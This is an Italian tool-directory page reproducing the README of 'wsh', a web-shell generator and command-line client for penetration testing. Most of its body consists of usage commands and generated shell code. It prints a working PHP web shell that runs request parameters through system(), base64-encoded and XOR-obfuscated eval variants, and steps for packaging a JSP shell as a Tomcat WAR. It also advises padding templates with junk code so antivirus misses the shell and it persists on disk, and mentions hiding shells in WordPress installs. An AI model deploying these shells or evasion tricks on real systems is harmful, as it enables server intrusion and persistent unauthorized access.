Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
wsh — Generatore di web shell e interfaccia a riga di comando. | Kitploit
Strumenti/GitHubGitHub/eatonchips/wsh
Generazione di PayloadSfruttamento di Applicazioni WebPenetration TestingCommand and Control
GitHubeatonchips/wsh

wsh

Generatore di web shell e interfaccia a riga di comando.

Vedi Repository
852035 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

wsh

wsh (pronunciato woosh) è un generatore di web shell e un'interfaccia a riga di comando. Tutto è nato come semplice client HTTP, poiché interagire con le web shell è una seccatura. C'è un modulo, per inviare un comando devi digitare in una casella di input e premere un pulsante. Volevo qualcosa che si adattasse meglio al mio flusso di lavoro e che girasse nel terminale. Così è nato wsh.

Il client offre cronologia dei comandi, registrazione (logging) e può essere configurato per interagire con una web shell standard già distribuita con un modulo/pulsante. Il generatore crea web shell in php, asp e jsp. Vengono generate con variabili casuali, quindi ognuna avrà un hash univoco. Possono essere configurate con una whitelist, password e permettono di inviare comandi tramite header e parametri personalizzati. Sia il generatore che il client possono essere configurati tramite flag della riga di comando o file di configurazione, in modo da salvare una configurazione che funzioni per te senza dover fare quella che io chiamo la "danza del --help". Una volta configurati, il client e il generatore utilizzano lo stesso file di configurazione.

Caratteristiche

  • Interagisci con web shell distribuite tramite riga di comando
    • Registrazione (logging)
  • Genera web shell in PHP, JSP e ASP
    • Whitelist IP
    • Protezione tramite password
    • Invio comandi tramite header/parametri personalizzati
    • Caricamento / scaricamento file
    • Shell codificate in base64 per asp e php
    • Shell crittografate XOR per asp e php

Utilizzo

Connetti

root@kitploit:~
wsh <URL> [flags]

-X, --method string        Metodo HTTP: GET, POST, PUT, PATCH, DELETE (default "GET")
    --param string         Parametro per l'invio del comando
    --header string        Header per l'invio del comando
-P, --params strings       Parametri della richiesta HTTP
-H, --headers strings      Header della richiesta HTTP
-c, --config string        File di configurazione
-k, --ignore-ssl           Ignora certificati non validi
    --log string           File di log
    --prefix string        Prependi comando: 'cmd /c', 'powershell.exe', 'bash'
    --timeout int          Timeout della richiesta in secondi (default 10)
    --trim-prefix string   Rimuovi prefisso dall'output
    --trim-suffix string   Rimuovi suffisso dall'output
-h, --help                 help per wsh
Scarica lo strumento

Genera

root@kitploit:~
wsh generate <language> [flags]
wsh g <language> [flags]

-X, --method string        Metodo HTTP (GET,POST,PUT,PATCH,DELETE) (default "GET")
-p, --param string         Parametro per l'invio del comando
    --header string        Header per l'invio del comando
-w, --whitelist strings    Indirizzi IP da inserire in whitelist
-o, --outfile string       File di output
    --no-file              Disabilita le funzionalità di caricamento/scaricamento file
    --pass string          Proteggi la shell con password
    --pass-header string   Header per l'invio della password
    --pass-param string    Parametro per l'invio della password
    --xor-header string    Header per l'invio della chiave XOR
    --xor-key string       Chiave per la crittografia XOR
    --xor-param string     Parametro per l'invio della chiave XOR
    --base64               Codifica la shell in base64
    --minify               Minifica il codice della web shell
-t, --template string      File template per la web shell
-h, --help                 help per generate

Utilizzo del client / I/O file

Volevo che il client fosse indipendente dal linguaggio, quindi tutte le web shell dovevano implementare la stessa logica di upload/download. Purtroppo è fastidioso fare upload multipart in nativo con jsp e asp classico, quindi i file vengono caricati come base64 in un parametro. Questo non è ideale poiché la dimensione massima del file caricato è limitata alla dimensione massima del parametro. In futuro potrei provare a implementare upload multipart o effettuare più richieste per trasferire file più grandi.

root@kitploit:~
$ wsh 127.0.0.1:8080/test.php --param cmd
127.0.0.1> help
get <remote filepath> [local filepath]  Scarica file
put <local filepath> [remote filepath]  Carica file
clear                                   Pulisci schermo
exit                                    Esci dalla shell

Esempi del Generatore

Shell Semplici

I seguenti comandi generano e interagiscono con una semplice web shell php.

root@kitploit:~
$ wsh generate php --param cmd --no-file -o shell.php
Created shell at shell.php.

$ wsh 127.0.0.1:8080/shell.php --param cmd
root@kitploit:~
<?php
  $MfOb = $_REQUEST['cmd'];
  $MfOb = trim($MfOb);
  system($MfOb);
  die;
?>

I comandi possono anche essere inviati tramite header HTTP

root@kitploit:~
$ wsh generate php --no-file --header user-agent  -o shell.php
Created shell at shell.php.

$ wsh 127.0.0.1:8080/shell.php --header user-agent

Whitelist

root@kitploit:~
$ wsh generate php --no-file --param cmd -w 127.0.0.1,10.0.23.3 -w 12.4.22.3 -o shell.php

Protezione tramite Password

Le password possono essere inviate tramite parametri o header.

root@kitploit:~
$ wsh generate php --no-file --param cmd --pass S3cr3t --pass-param pass
$ wsh 127.0.0.1:8080/shell.php --param cmd -P pass:S3cr3t

$ wsh generate php --no-file --param cmd --pass S3cr3t --pass-header pass-header
$ wsh 127.0.0.1:8080/shell.php --param cmd -H pass-header:S3cr3t

Crittografia Base64 / XOR

Questa funzionalità è interessante, ma potrebbe richiedere alcune modifiche ai template per essere utile. Nel caso di asp e jsp, le librerie che facilitano la decodifica base64 sono IOC noti e verranno segnalati. Se sei interessato a utilizzare queste funzionalità, ti consiglio di modificare il template e offuscare.

Come per la protezione tramite password, la chiave XOR può essere inviata tramite un parametro o un header.

root@kitploit:~
$ wsh g php --param cmd --no-file --base64
<?php
eval(base64_decode('JEZISENTPSRfUkVRVUVTVFsnY21kJ107JEZISENTPXRyaW0oJEZISENTKTtzeXN0ZW0oJEZISENTKTtkaWU7'))
?>

$ wsh g php --param cmd --no-file --xor-key S3cr3tK3y --xor-param X-Key
<?php
$KHhx = $_REQUEST["X-Key"];
$LqC = base64_decode("d2MPPUdJb2wrFmI2N2AgEBQaPldELwhQG182Jw4XAFoZYxcpP3wXWwgHMkANNl5LVmMYBEdQaFcKFwg=");
$oooqt = "";
for($YpuI=0; $YpuI<strlen($LqC); ) {
  for($cMq=0; ($cMq<strlen($KHhx) && $YpuI<strlen($LqC)); $cMq++,$YpuI++) {
    $oooqt .= $LqC{ $YpuI } ^ $KHhx{ $cMq };
  }
}
eval($oooqt);
?>

Shell per Tomcat

Per generare una web shell che possa essere distribuita su Tomcat, crea una shell jsp chiamata index.jsp ed esegui il comando qui sotto per zipparla in un file war.

Occasionalmente, l'ambiente Tomcat non ha le librerie necessarie per il caricamento/scaricamento file e la shell restituirà un errore quando viene fatta una richiesta. Per risolvere, usa il flag --no-file.

root@kitploit:~
$ wsh g jsp --param cmd --no-file -o index.jsp
$ jar -cvf shell.war index.jsp

Template

L'uso della libreria di template di Go aggiunge molta flessibilità al generatore. A volte una web shell viene intercettata dall'antivirus, tuttavia ho scoperto che aggiungere un sacco di codice casuale nel file template spesso rende la shell abbastanza innocua da permetterle di persistere sul disco. Ho incluso un esempio nel file templates/covert-php.tml.

Inoltre, puoi modificare questi template per includere il tuo nome/informazioni di contatto per l'attribuzione nel caso di un test di penetrazione.

Funzionalità del Client

Prefisso

È possibile specificare un prefisso da anteporre a ogni comando inviato alla shell. Questo può essere usato per trasformare una normale shell cmd in una shell powershell.

root@kitploit:~
$ wsh http://10.0.0.27/shell.asp --param cmd --prefix powershell.exe
10.0.0.27> ls
Directory: C:\windows\system32\inetsrv


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        5/27/2020  11:49 PM                config
d-----        5/27/2020  11:49 PM                en
d-----        5/28/2020  12:25 AM                en-US
-a----        5/27/2020  11:49 PM         119808 appcmd.exe

Registrazione (Logging)

I log includono timestamp e l'host con cui si sta interagendo. I file di log vengono accodati, quindi puoi usare lo stesso file di log per più sessioni/host.

root@kitploit:~
127.0.0.1:8080/shell.php --param cmd --log localhost.log
Logging to: localhost.log
127.0.0.1> ls
README.md
cmd
example-configs
...

[04/20/2020 12:02:17] 127.0.0.1> ls
README.md
cmd
example-configs

Rimozione prefisso/suffisso

Il client può essere configurato per rimuovere contenuto HTML estraneo da una richiesta; questo è utile quando si interagisce con web shell con interfaccia HTML standard, o magari se una shell generata è nascosta in un'installazione WordPress.

root@kitploit:~
$ wsh 127.0.0.1:8080/index.php -X POST --param cmd
127.0.0.1> ls
. . .
        <div class="pb-2 mt-4 mb-2">
            <h2> Output </h2>
        </div>
        <pre>
README.md
cmd
example-configs
index.php
main.go
templates
        </pre>
    </div>
. . .

$ wsh 127.0.0.1:8080/index.php -X POST --param cmd --trim-prefix '<pre>' --trim-suffix '</pre>'
127.0.0.1> ls
README.md
cmd
example-configs
index.php
main.go
templates